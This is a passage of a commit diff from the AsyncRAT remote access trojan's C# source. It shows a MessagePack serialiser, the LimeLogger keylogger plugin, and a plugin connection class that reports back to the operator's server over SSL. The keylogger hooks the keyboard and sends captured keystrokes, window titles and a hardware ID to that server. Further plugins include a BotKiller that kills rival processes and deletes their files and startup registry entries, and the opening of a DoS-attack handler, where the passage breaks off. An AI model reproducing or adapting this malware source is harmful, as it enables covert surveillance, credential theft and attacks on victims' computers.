SetAsInteger(BitConverter.ToInt32(rawByte, 0));
}
else if (lvByte == 0xD3)
{
// int 64 stores a 64-bit big-endian signed integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt64(rawByte, 0));
}
}
public byte[] Encode2Bytes()
{
using (MemoryStream ms = new MemoryStream())
{
Encode2Stream(ms);
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
}
}
public void Encode2Stream(Stream ms)
{
switch (this.valueType)
{
case MsgPackType.Unknown:
case MsgPackType.Null:
WriteTools.WriteNull(ms);
break;
case MsgPackType.String:
WriteTools.WriteString(ms, (String)this.innerValue);
break;
case MsgPackType.Integer:
WriteTools.WriteInteger(ms, (Int64)this.innerValue);
break;
case MsgPackType.UInt64:
WriteTools.WriteUInt64(ms, (UInt64)this.innerValue);
break;
case MsgPackType.Boolean:
WriteTools.WriteBoolean(ms, (Boolean)this.innerValue);
break;
case MsgPackType.Float:
WriteTools.WriteFloat(ms, (Double)this.innerValue);
break;
case MsgPackType.Single:
WriteTools.WriteFloat(ms, (Single)this.innerValue);
break;
case MsgPackType.DateTime:
WriteTools.WriteInteger(ms, GetAsInteger());
break;
case MsgPackType.Binary:
WriteTools.WriteBinary(ms, (byte[])this.innerValue);
break;
case MsgPackType.Map:
WriteMap(ms);
break;
case MsgPackType.Array:
WirteArray(ms);
break;
default:
WriteTools.WriteNull(ms);
break;
}
}
public String AsString
{
get
{
return GetAsString();
}
set
{
SetAsString(value);
}
}
public Int64 AsInteger
{
get { return GetAsInteger(); }
set { SetAsInteger((Int64)value); }
}
public Double AsFloat
{
get { return GetAsFloat(); }
set { SetAsFloat(value); }
}
public MsgPackArray AsArray
{
get
{
lock (this)
{
if (refAsArray == null)
{
refAsArray = new MsgPackArray(this, children);
}
}
return refAsArray;
}
}
public MsgPackType ValueType
{
get { return valueType; }
}
IEnumerator IEnumerable.GetEnumerator()
{
return new MsgPackEnum(children);
}
}
}

24
AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/MsgPackType.cs Normal file
View File

@ -0,0 +1,24 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public enum MsgPackType
{
Unknown = 0,
Null = 1,
Map = 2,
Array = 3,
String = 4,
Integer = 5,
UInt64 = 6,
Boolean = 7,
Float = 8,
Single = 9,
DateTime = 10,
Binary = 11
}
}

84
AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/ReadTools.cs Normal file
View File

@ -0,0 +1,84 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
class ReadTools
{
public static String ReadString(Stream ms, int len)
{
byte[] rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
public static String ReadString(Stream ms)
{
byte strFlag = (byte)ms.ReadByte();
return ReadString(strFlag, ms);
}
public static String ReadString(byte strFlag, Stream ms)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = null;
int len = 0;
if ((strFlag >= 0xA0) && (strFlag <= 0xBF))
{
len = strFlag - 0xA0;
}
else if (strFlag == 0xD9)
{
len = ms.ReadByte();
}
else if (strFlag == 0xDA)
{
rawBytes = new byte[2];
ms.Read(rawBytes, 0, 2);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToUInt16(rawBytes, 0);
}
else if (strFlag == 0xDB)
{
rawBytes = new byte[4];
ms.Read(rawBytes, 0, 4);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToInt32(rawBytes, 0);
}
rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
}
}

199
AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/WriteTools.cs Normal file
View File

@ -0,0 +1,199 @@
using System;
using System.IO;
namespace Plugin.MessagePack
{
class WriteTools
{
public static void WriteNull(Stream ms)
{
ms.WriteByte(0xC0);
}
public static void WriteString(Stream ms, String strVal)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal);
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 31)
{
b = (byte)(0xA0 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 255)
{
b = 0xD9;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDA;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDB;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteBinary(Stream ms, byte[] rawBytes)
{
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 255)
{
b = 0xC4;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xC5;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xC6;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteFloat(Stream ms, Double fVal)
{
ms.WriteByte(0xCB);
ms.Write(BytesTools.SwapDouble(fVal), 0, 8);
}
public static void WriteSingle(Stream ms, Single fVal)
{
ms.WriteByte(0xCA);
ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4);
}
public static void WriteBoolean(Stream ms, Boolean bVal)
{
if (bVal)
{
ms.WriteByte(0xC3);
}
else
{
ms.WriteByte(0xC2);
}
}
public static void WriteUInt64(Stream ms, UInt64 iVal)
{
ms.WriteByte(0xCF);
byte[] dataBytes = BitConverter.GetBytes(iVal);
ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8);
}
public static void WriteInteger(Stream ms, Int64 iVal)
{
if (iVal >= 0)
{ // 正数
if (iVal <= 127)
{
ms.WriteByte((byte)iVal);
}
else if (iVal <= 255)
{ //UInt8
ms.WriteByte(0xCC);
ms.WriteByte((byte)iVal);
}
else if (iVal <= (UInt32)0xFFFF)
{ //UInt16
ms.WriteByte(0xCD);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= (UInt32)0xFFFFFFFF)
{ //UInt32
ms.WriteByte(0xCE);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else
{ //Int64
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
}
else
{ // <0
if (iVal <= Int32.MinValue) //-2147483648 // 64 bit
{
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
else if (iVal <= Int16.MinValue) // -32768 // 32 bit
{
ms.WriteByte(0xD2);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else if (iVal <= -128) // -32768 // 32 bit
{
ms.WriteByte(0xD1);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= -32)
{
ms.WriteByte(0xD0);
ms.WriteByte((byte)iVal);
}
else
{
ms.WriteByte((byte)iVal);
}
} // end <0
}
}
}

58
AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs → AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Packet.cs
View File

@ -1,20 +1,40 @@
using System; using Plugin.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;
using System.IO; using System.IO;
using System.Linq;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Text; using System.Text;
using System.Windows.Forms;
using Client.MessagePack;
using System.Threading; using System.Threading;
using Client.Connection; using System.Windows.Forms;
namespace Client.Handle_Packet namespace Plugin
{ {
// │ Author : NYAN CAT public static class Packet
// │ Name : LimeLogger v0.1 {
// │ Contact : https://github.com/NYAN-x-CAT public static void Read(object data)
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes((byte[])data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "keyLogger":
{
HandleLimeLogger.isON = false;
break;
}
}
}
// This program is distributed for educational purposes only. public static void Error(string ex)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Error";
msgpack.ForcePathObject("Error").AsString = ex;
Connection.Send(msgpack.Encode2Bytes());
}
}
public static class HandleLimeLogger public static class HandleLimeLogger
{ {
@ -24,22 +44,25 @@ namespace Client.Handle_Packet
_hookID = SetHook(_proc); _hookID = SetHook(_proc);
new Thread(() => new Thread(() =>
{ {
while (ClientSocket.IsConnected) while (Connection.IsConnected)
{ {
Thread.Sleep(10); Thread.Sleep(1000);
if (isON == false) if (isON == false)
{ {
break; break;
} }
} }
UnhookWindowsHookEx(_hookID); UnhookWindowsHookEx(_hookID);
CurrentActiveWindowTitle = ""; Connection.Disconnected();
GC.Collect();
Application.Exit(); Application.Exit();
}).Start(); }).Start();
Application.Run(); Application.Run();
} }
private static IntPtr SetHook(LowLevelKeyboardProc proc) private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
try
{ {
using (Process curProcess = Process.GetCurrentProcess()) using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule) using (ProcessModule curModule = curProcess.MainModule)
@ -48,6 +71,13 @@ namespace Client.Handle_Packet
GetModuleHandle(curModule.ModuleName), 0); GetModuleHandle(curModule.ModuleName), 0);
} }
} }
catch (Exception ex)
{
Packet.Error(ex.Message);
isON = false;
return IntPtr.Zero;
}
}
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{ {
@ -109,8 +139,9 @@ namespace Client.Handle_Packet
} }
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("Packet").AsString = "keyLogger";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("log").AsString = sb.ToString(); msgpack.ForcePathObject("log").AsString = sb.ToString();
ClientSocket.Send(msgpack.Encode2Bytes()); Connection.Send(msgpack.Encode2Bytes());
} }
return CallNextHookEx(_hookID, nCode, wParam, lParam); return CallNextHookEx(_hookID, nCode, wParam, lParam);
} }
@ -197,4 +228,5 @@ namespace Client.Handle_Packet
#endregion #endregion
} }
} }

33
AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Plugin.cs Normal file
View File

@ -0,0 +1,33 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;
namespace Plugin
{
public class Plugin
{
public static Socket Socket;
public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install, string installFile)
{
Debug.WriteLine("Plugin Invoked");
Socket = socket;
Connection.ServerCertificate = certificate;
Connection.Hwid = hwid;
new Thread(() =>
{
Connection.InitializeClient();
}).Start();
while (Connection.IsConnected)
{
Thread.Sleep(1000);
}
}
}
}

36
AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Properties/AssemblyInfo.cs Normal file
View File

@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
//[assembly: Guid("dafe686a-461b-402b-bbd7-2a2f4c87c773")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

25
AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous.sln Normal file
View File

@ -0,0 +1,25 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.29123.88
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Miscellaneous", "Miscellaneous\Miscellaneous.csproj", "{37E20BAF-3577-4CD9-BB39-18675854E255}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{37E20BAF-3577-4CD9-BB39-18675854E255}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{37E20BAF-3577-4CD9-BB39-18675854E255}.Debug|Any CPU.Build.0 = Debug|Any CPU
{37E20BAF-3577-4CD9-BB39-18675854E255}.Release|Any CPU.ActiveCfg = Release|Any CPU
{37E20BAF-3577-4CD9-BB39-18675854E255}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {25F73428-705F-4933-8D8E-8E3199E87CAB}
EndGlobalSection
EndGlobal

211
AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs Normal file
View File

@ -0,0 +1,211 @@
using Plugin.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;
namespace Plugin
{
public static class Connection
{
public static Socket TcpClient { get; set; }
public static SslStream SslClient { get; set; }
public static X509Certificate2 ServerCertificate { get; set; }
private static byte[] Buffer { get; set; }
private static long Buffersize { get; set; }
private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; }
public static bool IsConnected { get; set; }
private static object SendSync { get; } = new object();
public static string Hwid { get; set; }
public static void InitializeClient(byte[] packet)
{
try
{
TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{
ReceiveBufferSize = 50 * 1024,
SendBufferSize = 50 * 1024,
};
TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1]));
if (TcpClient.Connected)
{
Debug.WriteLine("Plugin Connected!");
IsConnected = true;
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4];
MS = new MemoryStream();
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
new Thread(() =>
{
Packet.Read(packet);
}).Start();
}
else
{
IsConnected = false;
return;
}
}
catch
{
Debug.WriteLine("Disconnected!");
IsConnected = false;
return;
}
}
private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
{
#if DEBUG
return true;
#endif
return ServerCertificate.Equals(certificate);
}
public static void Disconnected()
{
try
{
IsConnected = false;
Tick?.Dispose();
SslClient?.Dispose();
TcpClient?.Dispose();
MS?.Dispose();
GC.Collect();
}
catch { }
}
public static void ReadServertData(IAsyncResult ar)
{
try
{
if (!TcpClient.Connected || !IsConnected)
{
IsConnected = false;
return;
}
int recevied = SslClient.EndRead(ar);
if (recevied > 0)
{
MS.Write(Buffer, 0, recevied);
if (MS.Length == 4)
{
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///");
MS.Dispose();
MS = new MemoryStream();
if (Buffersize > 0)
{
Buffer = new byte[Buffersize];
while (MS.Length != Buffersize)
{
int rc = SslClient.Read(Buffer, 0, Buffer.Length);
if (rc == 0)
{
IsConnected = false;
return;
}
MS.Write(Buffer, 0, rc);
Buffer = new byte[Buffersize - MS.Length];
}
if (MS.Length == Buffersize)
{
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray());
Buffer = new byte[4];
MS.Dispose();
MS = new MemoryStream();
}
}
}
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
else
{
IsConnected = false;
return;
}
}
catch
{
IsConnected = false;
return;
}
}
public static void Send(byte[] msg)
{
lock (SendSync)
{
try
{
if (!IsConnected || msg == null)
{
return;
}
byte[] buffersize = BitConverter.GetBytes(msg.Length);
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(buffersize, 0, buffersize.Length);
if (msg.Length > 1000000) //1mb
{
int chunkSize = 50 * 1024;
byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(msg))
{
BinaryReader binaryReader = new BinaryReader(buffereReader);
int bytesToRead = (int)buffereReader.Length;
do
{
chunk = binaryReader.ReadBytes(chunkSize);
bytesToRead -= chunkSize;
SslClient.Write(chunk, 0, chunk.Length);
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
}
}
else
{
SslClient.Write(msg, 0, msg.Length);
SslClient.Flush();
}
Debug.WriteLine("Plugin Packet Sent");
}
catch
{
IsConnected = false;
return;
}
}
}
public static void CheckServer(object obj)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping!)";
Send(msgpack.Encode2Bytes());
GC.Collect();
}
}
}

3
AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/FodyWeavers.xml Normal file
View File

@ -0,0 +1,3 @@
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
<Costura />
</Weavers>

111
AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/FodyWeavers.xsd Normal file
View File

@ -0,0 +1,111 @@
<?xml version="1.0" encoding="utf-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
<xs:element name="Weavers">
<xs:complexType>
<xs:all>
<xs:element name="Costura" minOccurs="0" maxOccurs="1">
<xs:complexType>
<xs:all>
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
<xs:annotation>
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
</xs:all>
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
<xs:annotation>
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
<xs:annotation>
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="DisableCompression" type="xs:boolean">
<xs:annotation>
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="DisableCleanup" type="xs:boolean">
<xs:annotation>
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
<xs:annotation>
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
<xs:annotation>
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="ExcludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="PreloadOrder" type="xs:string">
<xs:annotation>
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
</xs:complexType>
</xs:element>
</xs:all>
<xs:attribute name="VerifyAssembly" type="xs:boolean">
<xs:annotation>
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
<xs:annotation>
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="GenerateXsd" type="xs:boolean">
<xs:annotation>
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
</xs:annotation>
</xs:attribute>
</xs:complexType>
</xs:element>
</xs:schema>

28
AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs → AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleBotKiller.cs
View File

@ -3,17 +3,11 @@ using System.IO;
using System.Diagnostics; using System.Diagnostics;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using Microsoft.Win32; using Microsoft.Win32;
using Client.MessagePack;
using Client.Connection;
using System.Security.Principal; using System.Security.Principal;
using Plugin.MessagePack;
using Plugin;
// │ Author : NYAN CAT namespace Miscellaneous.Handler
// │ Name : Bot Killer v0.2.5
// │ Contact : https://github.com/NYAN-x-CAT
// This program Is distributed for educational purposes only.
namespace Client.Handle_Packet
{ {
public class HandleBotKiller public class HandleBotKiller
{ {
@ -25,15 +19,16 @@ namespace Client.Handle_Packet
{ {
try try
{ {
if (Inspection(p.MainModule.FileName)) if (Inspection(p.MainModule.FileName.ToLower()))
if (!IsWindowVisible(p.MainWindowHandle)) if (!IsWindowVisible(p.MainWindowHandle))
{ {
string pName = p.MainModule.FileName; string pName = p.MainModule.FileName;
p.Kill(); p.Kill();
RegistryDelete(@"Software\Microsoft\Windows\CurrentVersion\Run", pName); RegistryDelete(@"Software\Microsoft\Windows\CurrentVersion\Run", pName);
RegistryDelete(@"Software\Microsoft\Windows\CurrentVersion\RunOnce", pName); RegistryDelete(@"Software\Microsoft\Windows\CurrentVersion\RunOnce", pName);
System.Threading.Thread.Sleep(100); System.Threading.Thread.Sleep(200);
File.Delete(pName); File.Delete(pName);
System.Threading.Thread.Sleep(200);
count++; count++;
} }
} }
@ -44,17 +39,17 @@ namespace Client.Handle_Packet
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "BotKiller"; msgpack.ForcePathObject("Packet").AsString = "BotKiller";
msgpack.ForcePathObject("Count").AsString = count.ToString(); msgpack.ForcePathObject("Count").AsString = count.ToString();
ClientSocket.Send(msgpack.Encode2Bytes()); Connection.Send(msgpack.Encode2Bytes());
} }
} }
private bool Inspection(string threat) private bool Inspection(string threat)
{ {
if (threat == Process.GetCurrentProcess().MainModule.FileName) return false; if (threat == Process.GetCurrentProcess().MainModule.FileName.ToLower()) return false;
if (threat.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData))) return true; if (threat.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData).ToLower())) return true;
if (threat.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile))) return true; if (threat.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile).ToLower())) return true;
if (threat.Contains("wscript.exe")) return true; if (threat.Contains("wscript.exe")) return true;
if (threat.StartsWith(Path.Combine(Path.GetPathRoot(Environment.SystemDirectory), "Windows\\Microsoft.NET"))) return true; if (threat.StartsWith(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET").ToLower())) return true;
return false; return false;
} }
@ -99,4 +94,5 @@ namespace Client.Handle_Packet
[return: MarshalAs(UnmanagedType.Bool)] [return: MarshalAs(UnmanagedType.Bool)]
static extern bool IsWindowVisible(IntPtr hWnd); static extern bool IsWindowVisible(IntPtr hWnd);
} }
} }

26
AsyncRAT-C#/Client/Handle Packet/HandleDos.cs → AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleDos.cs
View File

@ -1,21 +1,12 @@
using Client.MessagePack; using System;
using Client.Connection;
using System;
using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;
using System.Globalization;
using System.Linq;
using System.Net.Sockets; using System.Net.Sockets;
using System.Text; using System.Text;
using System.Threading; using System.Threading;
using Plugin.MessagePack;
using Plugin;
// │ Author : NYAN CAT namespace Miscellaneous.Handler
// │ Name : DOS-Attack-Post 0.2
// │ Contact : https://github.com/NYAN-x-CAT
// This program is distributed for educational purposes only.
namespace Client.Handle_Packet
